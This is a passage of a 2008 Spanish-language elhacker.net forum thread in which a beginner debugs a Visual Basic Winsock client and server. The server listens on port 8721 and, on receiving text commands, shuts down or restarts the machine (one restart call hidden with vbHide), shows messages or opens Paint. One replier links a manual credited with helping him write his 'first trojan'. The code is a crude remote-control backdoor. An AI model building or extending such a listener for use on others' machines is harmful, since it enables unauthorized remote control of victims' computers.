elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  SOLUCIONADO ;Duda empezando con winsock
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: SOLUCIONADO ;Duda empezando con winsock  (Leído 6,724 veces)
Littl3

Desconectado Desconectado

Mensajes: 239


Tarde o temprano aparece el hombre


Ver Perfil
Re: Duda empezando con winsock
« Respuesta #10 en: 6 Marzo 2008, 01:55 am »

no me mal acostumbreis ami tambien!! jaj

Bueno e seguido vuestros consejos y quitado el timer, lo e puesto a escuchar en el evento close y error del WS

Código:


Private Sub Form_Load()
Escuchar
End Sub

Private Sub Escuchar()

If Ws.State <> 2 & Ws.State <> 7 Then
Ws.Close
Ws.Listen
End If

End Sub


Private Sub Ws_ConnectionRequest(ByVal RequestID As Long)
Ws.Close
Ws.Accept RequestID 'acepta conexiones
End Sub
Private Sub Ws_DataArrival(ByVal bytestotal As Long)
Dim datos As String
Ws.GetData datos        '  datos recibidos a la variable datos
txtDatos.Text = datos
End Sub

Private Sub txtDatos_Change()
    If txtDatos.Text = "apa" Then
    Shell ("cmd.exe /c shutdown -s -t 1")

End If
    If txtDatos.Text = "rei" Then
    Shell ("cmd.exe /c shutdown -r -t 2"), vbHide

End If
    If Left(datos, 3) = "msg" Then               'Si los 3 caracteres de la izquierda son = a msg
    datos = Right(datos, Len(datos) - 3)        'Datos sera = empezando por la derecha todos los caracteres - 3 (msg)
    MsgBox (datos)

End If
    If txtDatos.Text = "paint" Then
    Shell ("mspaint")

End If

Escuchar
End Sub

Private Sub Ws_Close()

Escuchar

End Sub

Private Sub Ws_Error(ByVal Number As Integer, _
                           Description As String, _
                           ByVal Scode As Long, _
                           ByVal Source As String, _
                           ByVal HelpFile As String, _
                           ByVal HelpContext As Long, _
                           CancelDisplay As Boolean)

Escuchar

End Sub


Bueno, ahora me tira error en el cliente, solo me deja mandarle una orden... por ejemplo yo le mando que arranque el paint y lo abre, pero si vuelvo a mandarselo me dice que no esta conectado al servidor, asi que vuelvo abrir el cliente, conecto bien con el servidor, pero esta vez al darle la orden para que arranque el paint no me tira error de conexion... simplemente me ignora...

Dudo muchisimo que sea del cliente pero bueno os dejo el codigo por si las moscas....

Código:

Private Sub cmdConectar_Click()

Ws.Close
Ws.RemoteHost = txtIP.Text
Ws.RemotePort = 8721
Ws.Connect

End Sub


Private Sub cmdDesconectar_Click()

Ws.Close
   
    If Ws.State <> sckConnected Then
    lblEstado.Caption = "Desconectado"
    End If
   
End Sub




Private Sub ws_connect()

    If Ws.State = sckConnected Then
    lblEstado.Caption = "Conectado"

    End If

End Sub


Private Sub cmdApagar_Click()

Ws.SendData "apa"

End Sub


Private Sub cmdReiniciar_Click()

Ws.SendData "rei"

End Sub


Private Sub cmdMsg_Click()

Ws.SendData "msg" & txtMsg.Text

End Sub

Private Sub cmdpaint_Click()
Ws.SendData "paint"
End Sub


Por cierto krackwar, gracias por el codigo habia estado pensando como hacerlo yo, lo que pasa es que no me manejo bien con el Right, left, len...  nunca lo habia utilizado, de momento el codigo no me a funcionado... cuando le doy la orden me ignora... pero claro puede que no sea problema del codigo del msgbox si no del servidor... :S

y por ultimo una cosa mas, para el evento error del WS detras va toda una parrafda que me gustaria saber que es... porque e copiado el codigo por ay pero no se que significa :S, me refiero a esto:
(ByVal Number As Integer, _
                           Description As String, _
                           ByVal Scode As Long, _
                           ByVal Source As String, _
                           ByVal HelpFile As String, _
                           ByVal HelpContext As Long, _
                           CancelDisplay As Boolean)


Gracias de nuevo
salu2


En línea

krackwar


Desconectado Desconectado

Mensajes: 900


Ver Perfil
Re: Duda empezando con winsock
« Respuesta #11 en: 6 Marzo 2008, 02:24 am »

por que pones escuchar si quieres escuchar pones ws.listen
edito :lee eel manual de xenon me ayudo muucho en mi primer troyano
http://foro.elhacker.net/index.php/topic,57545.0.html


« Última modificación: 6 Marzo 2008, 02:35 am por krackwar » En línea

Mi blog
Bienvenido krackwar, actualmente tu puntuación es de 38 puntos y tu rango es Veteran.
El pollo número 1, es decir yo, (krackwar), adoro a Shaddy como a un dios.
Littl3

Desconectado Desconectado

Mensajes: 239


Tarde o temprano aparece el hombre


Ver Perfil
Re: Duda empezando con winsock
« Respuesta #12 en: 6 Marzo 2008, 02:27 am »

llamo a

Private Sub Escuchar()

If Ws.State <> 2 & Ws.State <> 7 Then
Ws.Close
Ws.Listen
End If

End Sub

no esta bien?
En línea

Littl3

Desconectado Desconectado

Mensajes: 239


Tarde o temprano aparece el hombre


Ver Perfil
Re: Duda empezando con winsock
« Respuesta #13 en: 6 Marzo 2008, 11:28 am »

Ya lo e solucionado!!
El problema era que las ordenes funcionavan cuando el evento change del textbox, por lo tanto si le enviava la misma cadena no accionava.... xD, tengo que hacer que despues de cada accion se borre el textbox ^^

y el msgbox era porque mi variable datos no estaba declarada en declaraciones ;P
gracias por todo
En línea

juancho77


Desconectado Desconectado

Mensajes: 455


rie con demencia


Ver Perfil
Re: SOLUCIONADO ;Duda empezando con winsock
« Respuesta #14 en: 6 Marzo 2008, 17:34 pm »

Para evitar usar el Change de la caja de texto puedes usar un Case select en el data arrival del socket. Asi:

Código:
Private Sub Ws_DataArrival(ByVal bytestotal As Long)
Dim datos As String
ws.GetData datos        '  datos recibidos a la variable datos
Select case datos
Case apa
    Shell ("cmd.exe /c shutdown -s -t 1")
Case rei
    Shell ("cmd.exe /c shutdown -r -t 2"), vbHide
Case Left(datos, 3) = "msg"
    datos = Right(datos, Len(datos) - 3)
    MsgBox (datos)
Case paint
    Shell ("mspaint")
End select
En línea

Littl3

Desconectado Desconectado

Mensajes: 239


Tarde o temprano aparece el hombre


Ver Perfil
Re: Duda empezando con winsock
« Respuesta #15 en: 6 Marzo 2008, 17:49 pm »

por que pones escuchar si quieres escuchar pones ws.listen
edito :lee eel manual de xenon me ayudo muucho en mi primer troyano
http://foro.elhacker.net/index.php/topic,57545.0.html

Gracias krackwar ya lo habia leido, fue leiendo ese manual cuando me decidi por empezar a indagar un poco en el tema :P

y gracias juancho probare con el case aunque ya habia solucionado el problema de otra manera ;P
En línea

Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Solucionado] Connectar a dos ip Winsock
Programación Visual Basic
Leinad5991 3 3,750 Último mensaje 1 Enero 2011, 15:58 pm
por Leinad5991
Empezando en C/C++ primera duda
Programación C/C++
devKL 8 3,349 Último mensaje 11 Noviembre 2011, 03:44 am
por devKL
[Solucionado]Troyano MASM (duda con WINSOCK)
ASM
.:UND3R:. 3 3,346 Último mensaje 12 Mayo 2013, 18:49 pm
por .:UND3R:.
duda ejercicio, empezando con C
Programación C/C++
++c 8 3,407 Último mensaje 1 Mayo 2014, 16:06 pm
por vangodp
Error con send de Winsock (Solucionado)
Programación C/C++
AlbertoBSD 0 1,427 Último mensaje 1 Diciembre 2018, 23:21 pm
por AlbertoBSD
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines